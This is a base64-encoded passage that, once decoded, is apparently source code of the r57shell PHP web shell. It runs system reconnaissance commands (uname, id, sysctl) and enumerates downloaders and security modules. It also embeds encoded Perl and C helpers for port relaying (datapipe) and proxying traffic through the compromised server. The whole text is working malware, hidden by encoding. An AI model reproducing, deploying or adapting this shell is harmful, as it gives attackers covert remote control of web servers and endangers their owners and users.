Vc1MVpUc05DaUFnSUNCOURRb2dJQ0FnYVdZZ0tHNWllWFFnUFQwZ01Da05DaUFnSUNBZ0lHZHZkRzhnWjI5MGMKMjlqYXpzTkNpQWdJQ0JtWTJ4dmMyVW9ZMlpwYkdVcE93MEtJQ0FnSUhkb2FXeGxJQ2gzWVdsMGNHbGtLQzB4TENCT1ZVeE1MQ0JYVGs5SVFVNUhLU0ErSURBcE93MEtJQ0I5RFFvZ0lISmxkSFZ5YmlBeQpNRHNOQ2cwS0lHZHZkSE52WTJzNkRRb2dJR2xtSUNnb2IzTnZZMnNnUFNCemIyTnJaWFFvVUVaZlNVNUZWQ3dnVTA5RFMxOVRWRkpGUVUwc0lFbFFVRkpQVkU5ZlZFTlFLU2tnUFQwZ0xURXBJSHNOQ2lBCmdJQ0JtY0hKcGJuUm1LR05tYVd4bExDQWlOVEF3SUhOdlkydGxkRG9nSlhOY2JpSXNJSE4wY21WeWNtOXlLR1Z5Y201dktTazdEUW9nSUNBZ1oyOTBieUJ4ZFdsME1Uc05DaUFnZlEwS0lDQnZZV1JrY2kKNXphVzVmWm1GdGFXeDVJRDBnYUMwK2FGOWhaR1J5ZEhsd1pUc05DaUFnYjJGa1pISXVjMmx1WDNCdmNuUWdQU0JvZEc5dWN5aHZjRzl5ZENrN0RRb2dJRzFsYldOd2VTZ21iMkZrWkhJdWMybHVYMkZrWgpISXNJR2d0UG1oZllXUmtjaXdnYUMwK2FGOXNaVzVuZEdncE93MEtJQ0JwWmlBb1kyOXVibVZqZENodmMyOWpheXdnSm05aFpHUnlMQ0J6YVhwbGIyWW9iMkZrWkhJcEtTa2dldzBLSUNBZ0lHWndjbWx1CmRHWW9ZMlpwYkdVc0lDSTFNREFnWTI5dWJtVmpkRG9nSlhOY2JpSXNJSE4wY21WeWNtOXlLR1Z5Y201dktTazdEUW9nSUNBZ1oyOTBieUJ4ZFdsME1Uc05DaUFnZlEwS0lDQjNhR2xzWlNBb01Ta2dldzAKS0lDQWdJRVpFWDFwRlVrOG9KbVprYzNJcE93MEtJQ0FnSUVaRVgxcEZVazhvSm1aa2MyVXBPdzBLSUNBZ0lFWkVYMU5GVkNoamMyOWpheXdtWm1SemNpazdEUW9nSUNBZ1JrUmZVMFZVS0dOemIyTnJMQwpabVpITmxLVHNOQ2lBZ0lDQkdSRjlUUlZRb2IzTnZZMnNzSm1aa2MzSXBPdzBLSUNBZ0lFWkVYMU5GVkNodmMyOWpheXdtWm1SelpTazdEUW9nSUNBZ2FXWWdLSE5sYkdWamRDZ3lNQ3dnSm1aa2MzSXNJCkU1VlRFd3NJQ1ptWkhObExDQk9WVXhNS1NBOVBTQXRNU2tnZXcwS0lDQWdJQ0FnWm5CeWFXNTBaaWhqWm1sc1pTd2dJalV3TUNCelpXeGxZM1E2SUNWelhHNGlMQ0J6ZEhKbGNuSnZjaWhsY25KdWJ5a3AKT3cwS0lDQWdJQ0FnWjI5MGJ5QnhkV2wwTWpzTkNpQWdJQ0I5RFFvZ0lDQWdhV1lnS0VaRVgwbFRVMFZVS0dOemIyTnJMQ1ptWkhOeUtTQjhmQ0JHUkY5SlUxTkZWQ2hqYzI5amF5d21abVJ6WlNrcElIcwpOQ2lBZ0lDQWdJR2xtSUNnb2JtSjVkQ0E5SUhKbFlXUW9ZM052WTJzc1luVm1MRFF3T1RZcEtTQThQU0F3S1EwS0NXZHZkRzhnY1hWcGRESTdEUW9nSUNBZ0lDQnBaaUFvS0hkeWFYUmxLRzl6YjJOckxHCkoxWml4dVlubDBLU2tnUEQwZ01Da05DZ2xuYjNSdklIRjFhWFF5T3cwS0lDQWdJSDBnWld4elpTQnBaaUFvUmtSZlNWTlRSVlFvYjNOdlkyc3NKbVprYzNJcElIeDhJRVpFWDBsVFUwVlVLRzl6YjJOckwKQ1ptWkhObEtTa2dldzBLSUNBZ0lDQWdhV1lnS0NodVlubDBJRDBnY21WaFpDaHZjMjlqYXl4aWRXWXNOREE1TmlrcElEdzlJREFwRFFvSloyOTBieUJ4ZFdsME1qc05DaUFnSUNBZ0lHbG1JQ2dvZDNKcApkR1VvWTNOdlkyc3NZblZtTEc1aWVYUXBLU0E4UFNBd0tRMEtDV2R2ZEc4Z2NYVnBkREk3RFFvZ0lDQWdmUTBLSUNCOURRb05DaUJ4ZFdsME1qb05DaUFnYzJoMWRHUnZkMjRvYjNOdlkyc3NNaWs3RFFvCmdJR05zYjNObEtHOXpiMk5yS1RzTkNpQnhkV2wwTVRvTkNpQWdabVpzZFhOb0tHTm1hV3hsS1RzTkNpQWdjMmgxZEdSdmQyNG9ZM052WTJzc01pazdEUW9nY1hWcGREQTZEUW9nSUdaamJHOXpaU2hqWm0KbHNaU2s3RFFvZ0lISmxkSFZ5YmlBd093MEtmUT09IjsKJGRhdGFwaXBlX3BsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnU1U4Nk9sTnZZMnRsZERzTkNuVnpaU0JRVDFOSldEc05DaVJzYjJOaGJIQnZjblFnUFNBa1FWSkhWbHN3WFRzTkNpUm9iM04wSQpDQWdJQ0FnUFNBa1FWSkhWbHN4WFRzTkNpUndiM0owSUNBZ0lDQWdQU0FrUVZKSFZsc3lYVHNOQ2lSa1lXVnRiMjQ5TVRzTkNpUkVTVklnUFNCMWJtUmxaanNOQ2lSOElEMGdNVHNOQ21sbUlDZ2taR0ZsCmJXOXVLWHNnSkhCcFpDQTlJR1p2Y21zN0lHVjRhWFFnYVdZZ0pIQnBaRHNnWkdsbElDSWtJU0lnZFc1c1pYTnpJR1JsWm1sdVpXUW9KSEJwWkNrN0lGQlBVMGxZT2pwelpYUnphV1FvS1NCdmNpQmthV1UKZ0lpUWhJanNnZlEwS0pXOGdQU0FvSjNCdmNuUW5JRDArSUNSc2IyTmhiSEJ2Y25Rc0ozUnZjRzl5ZENjZ1BUNGdKSEJ2Y25Rc0ozUnZhRzl6ZENjZ1BUNGdKR2h2YzNRcE93MEtKR0ZvSUQwZ1NVODZPbApOdlkydGxkRG82U1U1RlZDMCtibVYzS0NkTWIyTmhiRkJ2Y25RbklEMCtJQ1JzYjJOaGJIQnZjblFzSjFKbGRYTmxKeUE5UGlBeExDZE1hWE4wWlc0bklEMCtJREV3S1NCOGZDQmthV1VnSWlRaElqc05DCmlSVFNVZDdKME5JVEVRbmZTQTlJQ2RKUjA1UFVrVW5PdzBLSkc1MWJTQTlJREE3RFFwM2FHbHNaU0FvTVNrZ2V5QU5DaVJqYUNBOUlDUmhhQzArWVdOalpYQjBLQ2s3SUdsbUlDZ2hKR05vS1NCN0lIQnkKYVc1MElGTlVSRVZTVWlBaUpDRmNiaUk3SUc1bGVIUTdJSDBOQ2lzckpHNTFiVHNOQ2lSd2FXUWdQU0JtYjNKcktDazdEUXBwWmlBb0lXUmxabWx1WldRb0pIQnBaQ2twSUhzZ2NISnBiblFnVTFSRVJWSgpTSUNJa0lWeHVJanNnZlNBTkNtVnNjMmxtSUNna2NHbGtJRDA5SURBcElIc2dKR0ZvTFQ1amJHOXpaU2dwT3lCU2RXNG9YQ1Z2TENBa1kyZ3NJQ1J1ZFcwcE95QjlJQTBLWld4elpTQjdJQ1JqYUMwK1kyCnh2YzJVb0tUc2dmUTBLZlEwS2MzVmlJRkoxYmlCN0RRcHRlU2drYnl3Z0pHTm9MQ0FrYm5WdEtTQTlJRUJmT3cwS2JYa2dKSFJvSUQwZ1NVODZPbE52WTJ0bGREbzZTVTVGVkMwK2JtVjNLQ2RRWldWeVEKV1JrY2ljZ1BUNGdKRzh0UG5zbmRHOW9iM04wSjMwc0oxQmxaWEpRYjNKMEp5QTlQaUFrYnkwK2V5ZDBiM0J2Y25RbmZTazdEUXBwWmlBb0lTUjBhQ2tnZXlCbGVHbDBJREE3SUgwTkNtMTVJQ1JtYURzTgpDbWxtSUNna2J5MCtleWRrYVhJbmZTa2dleUFrWm1nZ1BTQlRlVzFpYjJ3Nk9tZGxibk41YlNncE95QnZjR1Z1S0NSbWFDd2dJajRrYnkwK2V5ZGthWEluZlM5MGRXNXVaV3drYm5WdExteHZaeUlwSUc5CnlJR1JwWlNBaUpDRWlPeUI5RFFva1kyZ3RQbUYxZEc5bWJIVnphQ2dwT3cwS0pIUm9MVDVoZFhSdlpteDFjMmdvS1RzTkNuZG9hV3hsSUNna1kyZ2dmSHdnSkhSb0tTQjdEUXB0ZVNBa2NtbHVJRDBnSWkKSTdEUXAyWldNb0pISnBiaXdnWm1sc1pXNXZLQ1JqYUNrc0lERXBJRDBnTVNCcFppQWtZMmc3RFFwMlpXTW9KSEpwYml3Z1ptbHNaVzV2S0NSMGFDa3NJREVwSUQwZ01TQnBaaUFrZEdnN0RRcHRlU2drYwptOTFkQ3dnSkdWdmRYUXBPdzBLYzJWc1pXTjBLQ1J5YjNWMElEMGdKSEpwYml3Z2RXNWtaV1lzSUNSbGIzVjBJRDBnSkhKcGJpd2dNVEl3S1RzTkNtbG1JQ2doSkhKdmRYUWdJQ1ltSUNBaEpHVnZkWFFwCklIdDlEUXB0ZVNBa1kySjFabVpsY2lBOUlDSWlPdzBLYlhrZ0pIUmlkV1ptWlhJZ1BTQWlJanNOQ21sbUlDZ2tZMmdnSmlZZ0tIWmxZeWdrWlc5MWRDd2dabWxzWlc1dktDUmphQ2tzSURFcElIeDhJSFoKbFl5Z2tjbTkxZEN3Z1ptbHNaVzV2S0NSamFDa3NJREVwS1NrZ2V3MEtiWGtnSkhKbGMzVnNkQ0E5SUhONWMzSmxZV1FvSkdOb0xDQWtkR0oxWm1abGNpd2dNVEF5TkNrN0RRcHBaaUFvSVdSbFptbHVaVwpRb0pISmxjM1ZzZENrcElIc05DbkJ5YVc1MElGTlVSRVZTVWlBaUpDRmNiaUk3RFFwbGVHbDBJREE3RFFwOURRcHBaaUFvSkhKbGMzVnNkQ0E5UFNBd0tTQjdJR1Y0YVhRZ01Ec2dmUTBLZlEwS2FXWWdLCkNSMGFDQWdKaVlnSUNoMlpXTW9KR1Z2ZFhRc0lHWnBiR1Z1Ynlna2RHZ3BMQ0F4S1NBZ2ZId2dkbVZqS0NSeWIzVjBMQ0JtYVd4bGJtOG9KSFJvS1N3Z01Ta3BLU0I3RFFwdGVTQWtjbVZ6ZFd4MElEMGcKYzNsemNtVmhaQ2drZEdnc0lDUmpZblZtWm1WeUxDQXhNREkwS1RzTkNtbG1JQ2doWkdWbWFXNWxaQ2drY21WemRXeDBLU2tnZXlCd2NtbHVkQ0JUVkVSRlVsSWdJaVFoWEc0aU95QmxlR2wwSURBN0lIMApOQ21sbUlDZ2tjbVZ6ZFd4MElEMDlJREFwSUh0bGVHbDBJREE3ZlEwS2ZRMEthV1lnS0NSbWFDQWdKaVlnSUNSMFluVm1abVZ5S1NCN0tIQnlhVzUwSUNSbWFDQWtkR0oxWm1abGNpazdmUTBLZDJocGJHClVnS0cxNUlDUnNaVzRnUFNCc1pXNW5kR2dvSkhSaWRXWm1aWElwS1NCN0RRcHRlU0FrY21WeklEMGdjM2x6ZDNKcGRHVW9KSFJvTENBa2RHSjFabVpsY2l3Z0pHeGxiaWs3RFFwcFppQW9KSEpsY3lBK0kKREFwSUhza2RHSjFabVpsY2lBOUlITjFZbk4wY2lna2RHSjFabVpsY2l3Z0pISmxjeWs3ZlNBTkNtVnNjMlVnZTNCeWFXNTBJRk5VUkVWU1VpQWlKQ0ZjYmlJN2ZRMEtmUTBLZDJocGJHVWdLRzE1SUNScwpaVzRnUFNCc1pXNW5kR2dvSkdOaWRXWm1aWElwS1NCN0RRcHRlU0FrY21WeklEMGdjM2x6ZDNKcGRHVW9KR05vTENBa1kySjFabVpsY2l3Z0pHeGxiaWs3RFFwcFppQW9KSEpsY3lBK0lEQXBJSHNrWTJKCjFabVpsY2lBOUlITjFZbk4wY2lna1kySjFabVpsY2l3Z0pISmxjeWs3ZlNBTkNtVnNjMlVnZTNCeWFXNTBJRk5VUkVWU1VpQWlKQ0ZjYmlJN2ZRMEtmWDE5RFFvPSI7CiRwcnhfcGw9Ikl5RjFjM0l2WW1sdUwzQmxjbXdLZFhObElGTnZZMnRsZERzS2JYa2dKSEJ2Y25RZ1BTQWtRVkpIVmxzd1hYeDhNekV6TXpjN0NtMTVJQ1J3Y205MGIyTnZiQ0E5SUdkbGRIQnliM1J2WW4KbHVZVzFsS0NkMFkzQW5LVHNLYlhrZ0pHMTVYMkZrWkhJZ0lEMGdjMjlqYTJGa1pISmZhVzRnS0NSd2IzSjBMQ0JKVGtGRVJGSmZRVTVaS1RzS2MyOWphMlYwSUNoVFQwTkxMQ0JCUmw5SlRrVlVMQ0JUVAowTkxYMU5VVWtWQlRTd2dKSEJ5YjNSdlkyOXNLU0J2Y2lCa2FXVWdJbk52WTJ0bGRDZ3BPaUFrSVNJN0NuTmxkSE52WTJ0dmNIUWdLRk5QUTBzc0lGTlBURjlUVDBOTFJWUXNJRk5QWDFKRlZWTkZRVVJFClVpd3hJQ2tnYjNJZ1pHbGxJQ0p6WlhSemIyTnJiM0IwS0NrNklDUWhJanNLWW1sdVpDQW9VMDlEU3l3Z0pHMTVYMkZrWkhJcElHOXlJR1JwWlNBaVltbHVaQ2dwT2lBa0lTSTdDbXhwYzNSbGJpQW9VMDkKRFN5d2dVMDlOUVZoRFQwNU9LU0J2Y2lCa2FXVWdJbXhwYzNSbGJpZ3BPaUFrSVNJN0NpUlRTVWQ3SjBsT1ZDZDlJRDBnYzNWaUlIc0tZMnh2YzJVZ0tGTlBRMHNwT3dwbGVHbDBPd3A5T3dwM2FHbHNaUwpBb01Ta2dld3B1WlhoMElIVnViR1Z6Y3lCdGVTQWtjbVZ0YjNSbFgyRmtaSElnUFNCaFkyTmxjSFFnS0ZORlUxTkpUMDRzSUZOUFEwc3BPd3B0ZVNBb0pHWnBjM1FzSUNSdFpYUm9iMlFzSUNSeVpXMXZkCkdWZmFHOXpkQ3dnSkhKbGJXOTBaVjl3YjNKMEtTQTlJR0Z1WVd4NWVtVmZjbVZ4ZFdWemRDZ3BPd3BwWmlodmNHVnVYMk52Ym01bFkzUnBiMjRnS0ZKRlRVOVVSU3dnSkhKbGJXOTBaVjlvYjNOMExDQWsKY21WdGIzUmxYM0J2Y25RcElEMDlJREFwSUhzS1kyeHZjMlVnS0ZORlUxTkpUMDRwT3dwdVpYaDBPd3A5Q25CeWFXNTBJRkpGVFU5VVJTQWtabWx5YzNRN0NuQnlhVzUwSUZKRlRVOVVSU0FpVlhObGNpMQpCWjJWdWREb2dSMjl2WjJ4bFltOTBMekl1TVNBb0syaDBkSEE2THk5M2QzY3VaMjl2WjJ4bExtTnZiUzlpYjNRdWFIUnRiQ2xjYmlJN0NuZG9hV3hsSUNnOFUwVlRVMGxQVGo0cElIc0tibVY0ZENCcFppCkFvTDFCeWIzaDVMVU52Ym01bFkzUnBiMjQ2THlCOGZDQXZWWE5sY2kxQloyVnVkRG92S1RzS2NISnBiblFnVWtWTlQxUkZJQ1JmT3dwc1lYTjBJR2xtSUNna1h5QTlmaUF2WGx0Y2MxeDRNREJkS2lRdksKVHNLZlFwd2NtbHVkQ0JTUlUxUFZFVWdJbHh1SWpzS0pHaGxZV1JsY2lBOUlERTdDbmRvYVd4bElDZzhVa1ZOVDFSRlBpa2dld3B3Y21sdWRDQlRSVk5UU1U5T0lDUmZPd3BwWmlBb0pHaGxZV1JsY2lrZwpleUFnSUNBZ0NtbG1JQ2drYUdWaFpHVnlJQ1ltSUNSZklEMStJQzllVzF4elhIZ3dNRjBxSkM4cElIc0tKR2hsWVdSbGNpQTlJREE3Q24wS2ZRcDlDbU5zYjNObElDaFNSVTFQVkVVcE93cGpiRzl6WlNBCm9VMFZUVTBsUFRpazdDbjBLWTJ4dmMyVWdLRk5QUTBzcE93cHpkV0lnWVc1aGJIbDZaVjl5WlhGMVpYTjBJSHNLYlhrZ0tDUm1hWE4wTENBa2RYSnNMQ0FrY21WdGIzUmxYMmh2YzNRc0lDUnlaVzF2ZEcKVmZjRzl5ZEN3Z0pHMWxkR2h2WkNrN0NpUm1hWEp6ZENBOUlEeFRSVk5UU1U5T1Bqc0tKSFZ5YkNBOUlDZ2tabWx5YzNRZ1BYNGdiWHdvYUhSMGNEb3ZMMXhUS3lsOEtWc3dYVHNLS0NSdFpYUm9iMlFzSQpDUnlaVzF2ZEdWZmFHOXpkQ3dnSkhKbGJXOTBaVjl3YjNKMEtTQTlJQW9vSkdacGNuTjBJRDErSUcwaEtFZEZWQ2tnYUhSMGNEb3ZMeWhiWGk4NlhTc3BPajhvWEdRcUtTRWdLVHNLYVdZZ0tDRWtjbVZ0CmIzUmxYMmh2YzNRcElIc0tZMnh2YzJVb1UwVlRVMGxQVGlrN0NtVjRhWFE3Q24wS0pISmxiVzkwWlY5d2IzSjBJRDBnSW1oMGRIQWlJSFZ1YkdWemN5QW9KSEpsYlc5MFpWOXdiM0owS1RzS0pHWnBjbk4KMElEMStJSE12YUhSMGNEcGNMMXd2VzE1Y0wxMHJMeTg3Q25KbGRIVnliaUFvSkdacGNuTjBMQ0FrYldWMGFHOWtMQ0FrY21WdGIzUmxYMmh2YzNRc0lDUnlaVzF2ZEdWZmNHOXlkQ2s3Q24wS2MzVmlJRwo5d1pXNWZZMjl1Ym1WamRHbHZiaUI3Q20xNUlDZ2thRzl6ZEN3Z0pIQnZjblFwSUQwZ1FGOWJNU3d5WFRzS2JYa2dLQ1JrWlhOMFgyRmtaSElzSUNSamRYSXBPd3BwWmlBb0pIQnZjblFnSVg0Z0wxNWNaCkNza0x5a2dld29rY0c5eWRDQTlJQ2huWlhSelpYSjJZbmx1WVcxbEtDUndiM0owTENBaWRHTndJaWtwV3pKZE93b2tjRzl5ZENBOUlEZ3dJSFZ1YkdWemN5QW9KSEJ2Y25RcE93cDlDaVJvYjNOMElEMGcKYVc1bGRGOWhkRzl1SUNna2FHOXpkQ2tnYjNJZ2NtVjBkWEp1SURBN0NpUmtaWE4wWDJGa1pISWdQU0J6YjJOcllXUmtjbDlwYmlBb0pIQnZjblFzSUNSb2IzTjBLVHNLYzI5amEyVjBJQ2drWDFzd1hTdwpnUVVaZlNVNUZWQ3dnVTA5RFMxOVRWRkpGUVUwc0lDUndjbTkwYjJOdmJDa2diM0lnWkdsbElDSnpiMk5yWlhRb0tTQTZJQ1FoSWpzS1kyOXVibVZqZENBb0pGOWJNRjBzSUNSa1pYTjBYMkZrWkhJcElHCjl5SUhKbGRIVnliaUF3T3dva1kzVnlJRDBnYzJWc1pXTjBLQ1JmV3pCZEtUc2dJQW9rZkNBOUlERTdDbk5sYkdWamRDZ2tZM1Z5S1RzS2NtVjBkWEp1SURFN0NuMD0iOwppZigkdW5peCkKIHsKIGlmKCFpc3NldCgkX0NPT0tJRVsndW5hbWUnXSkpIHsgJHVuYW1lID0gZXgoJ3VuYW1lIC1hJyk7IHNldGNvb2tpZSgndW5hbWUnLCR1bmFtZSk7IH0gZWxzZSB7ICR1bmFtZSA9ICRfQ09PS0lFWyd1bmFtZSddOyB9CiBpZighaXNzZXQoJF9DT09LSUVbJ2lkJ10pKSB7ICRpZCA9IGV4KCdpZCcpOyBzZXRjb29raWUoJ2lkJywkaWQpOyB9IGVsc2UgeyAkaWQgPSAkX0NPT0tJRVsnaWQnXTsgfQogaWYoJHNhZmVfbW9kZSkgeyAkc3lzY3RsID0gJy0nOyB9CiBlbHNlIGlmKGlzc2V0KCRfQ09PS0lFWydzeXNjdGwnXSkpIHsgJHN5c2N0bCA9ICRfQ09PS0lFWydzeXNjdGwnXTsgfQogZWxzZSAgCiAgewogICAkc3lzY3RsID0gZXgoJ3N5c2N0bCAtbiBrZXJuLm9zdHlwZSAmJiBzeXNjdGwgLW4ga2Vybi5vc3JlbGVhc2UnKTsKICAgaWYoZW1wdHkoJHN5c2N0bCkpIHsgJHN5c2N0bCA9IGV4KCdzeXNjdGwgLW4ga2VybmVsLm9zdHlwZSAmJiBzeXNjdGwgLW4ga2VybmVsLm9zcmVsZWFzZScpOyB9CiAgIGlmKGVtcHR5KCRzeXNjdGwpKSB7ICRzeXNjdGwgPSAnLSc7IH0KICAgc2V0Y29va2llKCdzeXNjdGwnLCRzeXNjdGwpOwogIH0gIAogfQoKaWYoIWlzc2V0KCRfQ09PS0lFWyRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMzcnXV0pKSB7CgkkdXN0X3U9Jyc7CglpZigkdW5peCAmJiAhJHNhZmVfbW9kZSl7IAoJCWZvcmVhY2ggKCR1c2VyZnVsIGFzICRpdGVtKSB7CgkJCWlmKHdoaWNoKCRpdGVtKSl7JHVzdF91Lj0kaXRlbTt9IAoJCX0KCX0KCWlmIChAZnVuY3Rpb25fZXhpc3RzKCdhcGFjaGVfZ2V0X21vZHVsZXMnKSAmJiBAaW5fYXJyYXkoJ21vZF9wZXJsJyxhcGFjaGVfZ2V0X21vZHVsZXMoKSkpIHskdXN0X3UuPSIsIG1vZF9wZXJsIjt9CglpZiAoQGZ1bmN0aW9uX2V4aXN0cygnYXBhY2hlX2dldF9tb2R1bGVzJykgJiYgQGluX2FycmF5KCdtb2RfaW5jbHVkZScsYXBhY2hlX2dldF9tb2R1bGVzKCkpKSB7JHVzdF91Lj0iLCBtb2RfaW5jbHVkZShTU0kpIjt9CglpZiAoQGZ1bmN0aW9uX2V4aXN0cygncGNudGxfZXhlYycpKSB7JHVzdF91Lj0iLCBwY250bF9leGVjIjt9CglpZiAoQGV4dGVuc2lvbl9sb2FkZWQoJ3dpbjMyc3RkJykpIHskdXN0X3UuPSIsIHdpbjMyc3RkX2xvYWRlZCI7fQoJaWYgKEBleHRlbnNpb25fbG9hZGVkKCd3aW4zMnNlcnZpY2UnKSkgeyR1c3RfdS49Iiwgd2luMzJzZXJ2aWNlX2xvYWRlZCI7fQoJaWYgKEBleHRlbnNpb25fbG9hZGVkKCdmZmknKSkgeyR1c3RfdS49IiwgZmZpX2xvYWRlZCI7fQoJaWYgKEBleHRlbnNpb25fbG9hZGVkKCdwZXJsJykpIHskdXN0X3UuPSIsIHBlcmxfbG9hZGVkIjt9CglpZihzdWJzdHIoJHVzdF91LDAsMSk9PSIsIikgeyR1c3RfdVswXT0iIjt9CgkKCSR1c3RfdSA9IHRyaW0oJHVzdF91KTsKCXNldGNvb2tpZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTM3J10sJHVzdF91KTsKfWVsc2UgewoJJHVzdF91ID0gdHJpbSgkX0NPT0tJRVskbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTM3J11dKTsKfQoKaWYoIWlzc2V0KCRfQ09PS0lFWyRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMzgnXV0pKSB7CgkkdXN0X2Q9Jyc7IAoJaWYoJHVuaXggJiYgISRzYWZlX21vZGUpeyAKCQlmb3JlYWNoICgkZGFuZ2VyIGFzICRpdGVtKSB7CgkJCWlmKHdoaWNoKCRpdGVtKSl7JHVzdF9kLj0kaXRlbTt9IAoJCX0KCX0KCWlmKCEkc2FmZV9tb2RlKXsgCgkJZm9yZWFjaCAoJGRhbmdlciBhcyAkaXRlbSkgewoJCQlpZihwcygkaXRlbSkpeyR1c3RfZC49JGl0ZW07fSAKCQl9Cgl9CglpZiAoQGZ1bmN0aW9uX2V4aXN0cygnYXBhY2hlX2dldF9tb2R1bGVzJykgJiYgQGluX2FycmF5KCdtb2Rfc2VjdXJpdHknLGFwYWNoZV9nZXRfbW9kdWxlcygpKSkgeyR1c3RfZC49IiwgbW9kX3NlY3VyaXR5Ijt9CglpZihzdWJzdHIoJHVzdF9kLDAsMSk9PSIsIikgeyR1c3RfZFswXT0iIjt9IAoJCgkkdXN0X2QgPSB0cmltKCR1c3RfZCk7CglzZXRjb29raWUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEzOCddLCR1c3RfZCk7Cn1lbHNlIHsKCSR1c3RfZCA9IHRyaW0oJF9DT09LSUVbJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEzOCddXSk7Cn0KCmlmKCFpc3NldCgkX0NPT0tJRVskbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTQyJ11dKSkgewoKCSRzZWxlY3RfZG93bmxvYWRlcnM9JzxzZWxlY3Qgc2l6ZT0iMSIgbmFtZT13aXRoPic7CglpZigoIUBmdW5jdGlvbl9leGlzdHMoJ2luaV9nZXQnKSkgfHwgKEBpbmlfZ2V0KCdhbGxvd191cmxfZm9wZW4nKSAmJiBAZnVuY3Rpb25fZXhpc3RzKCdmaWxlJykpKXskc2VsZWN0X2Rvd25sb2FkZXJzIC49ICI8b3B0aW9uIHZhbHVlPVwiZm9wZW5cIj5mb3Blbjwvb3B0aW9uPiI7JGRvd25sb2FkZXI9ImZvcGVuIjt9CglpZigkdW5peCAmJiAhJHNhZmVfbW9kZSl7IAoJCWZvcmVhY2ggKCRkb3dubG9hZGVycyBhcyAkaXRlbSkgewoJCQlpZih3aGljaCgkaXRlbSkpeyRzZWxlY3RfZG93bmxvYWRlcnMgLj0gJzxvcHRpb24gdmFsdWU9IicuJGl0ZW0uJyI+Jy4kaXRlbS4nPC9vcHRpb24+JzskZG93bmxvYWRlci49IiwgJGl0ZW0iO30gCgkJfQoJfQoJJHNlbGVjdF9kb3dubG9hZGVycyAuPSAnPC9zZWxlY3Q+JzsKCWlmKHN1YnN0cigkZG93bmxvYWRlciwwLDEpPT0iLCIpIHskZG93bmxvYWRlclswXT0iIjt9IAoJCgkkZG93bmxvYWRlcj10cmltKCRkb3dubG9hZGVyKTsKCXNldGNvb2tpZSgnc2VsZWN0X2Rvd25sb2FkZXJzJywkc2VsZWN0X2Rvd25sb2FkZXJzKTsKCXNldGNvb2tpZSgnZG93bmxvYWRlcicsJGRvd25sb2FkZXIpOwp9ZWxzZSB7Cgkkc2VsZWN0X2Rvd25sb2FkZXJzID0gJF9DT09LSUVbJ3NlbGVjdF9kb3dubG9hZGVycyddOwoJJGRvd25sb2FkZXIgPSB0cmltKCRfQ09PS0lFWydkb3dubG9hZGVyJ10pOwp9CgoKZWNobyAkaGVhZDsKZWNobyAnPC9oZWFkPic7CgplY2hvICc8Ym9keT48dGFibGUgd2lkdGg9MTAwJSBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTAgYmdjb2xvcj0jMDAwMDAwPjx0cj48dGQgYmdjb2xvcj0jY2NjY2NjIHdpZHRoPTEwMD48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0yPicuCndzKDIpLic8Yj4nLndzKDIpLic8Y2VudGVyPnI1N3NoZWxsPGJyPnYuJy4kdmVyc2lvbi4nPC9iPjxicj48YnI+PGJyPjwvY2VudGVyPjwvZm9udD4nLgokZnMuJzxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxjZW50ZXI+Jy4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTQzJ10uIjxiPiIuJHRlbXBkaXIuIjwvYj48YnI+Ii4kc2VsZWN0X3RlbXBkaXIuJzxicj4nLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDYnXSkuCic8L2NlbnRlcj48L2ZvbnQ+Jy4kZmUuJzwvdGQ+Jy4nPHRkIGJnY29sb3I9I2NjY2NjYz48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj4nOwplY2hvIHdzKDIpLiI8Yj4iLmRhdGUgKCJkLW0tWSBIOmk6cyIpLiI8L2I+IFlvdXIgSVA6IFs8Zm9udCBjb2xvcj1ibHVlPiIuZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsiUkVNT1RFX0FERFIiXSkuIjwvZm9udD5dIjsKZWNobyAiIFhfRk9SV0FSREVEX0ZPUjoiOyBpZihpc3NldCgkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9GT1InXSkpe2VjaG8gIls8Zm9udCBjb2xvcj1yZWQ+Ii4kX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9GT1InXS4iPC9mb250Pl0iO31lbHNle2VjaG8gIls8Zm9udCBjb2xvcj1ncmVlbj48Yj5OT05FPC9iPjwvZm9udD5dIjt9CmVjaG8gIiBDTElFTlRfSVA6ICI7aWYoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfQ0xJRU5UX0lQJ10pKXtlY2hvICJbPGZvbnQgY29sb3I9cmVkPiIuJF9TRVJWRVJbJ0hUVFBfQ0xJRU5UX0lQJ10uIjwvZm9udD5dIjt9ZWxzZXtlY2hvICJbPGZvbnQgY29sb3I9Z3JlZW4+PGI+Tk9ORTwvYj48L2ZvbnQ+XSI7fQplY2hvICIgU2VydmVyIElQOiBbPGZvbnQgY29sb3I9Ymx1ZT4iLmdldGhvc3RieW5hbWUoJF9TRVJWRVJbIkhUVFBfSE9TVCJdKS4iPC9mb250Pl0iOwoKZWNobyAiPGJyPiI7CgplY2hvIHdzKDIpLiJQSFAgdmVyc2lvbjogPGI+Ii5AcGhwdmVyc2lvbigpLiI8L2I+IjsKJGN1cmxfb24gPSBAZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKTsKZWNobyB3cygyKTsKZWNobyAiY1VSTDogPGI+Ii4oKCRjdXJsX29uKT8oIjxmb250IGNvbG9yPXJlZD5PTjwvZm9udD4iKTooIjxmb250IGNvbG9yPWdyZWVuPk9GRjwvZm9udD4iKSk7CmVjaG8gIjwvYj4iLndzKDIpOwplY2hvICJNeVNRTDogPGI+IjsKJG15c3FsX29uID0gQGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfY29ubmVjdCcpOwppZigkbXlzcWxfb24pewplY2hvICI8Zm9udCBjb2xvcj1yZWQ+T048L2ZvbnQ+IjsgfSBlbHNlIHsgZWNobyAiPGZvbnQgY29sb3I9Z3JlZW4+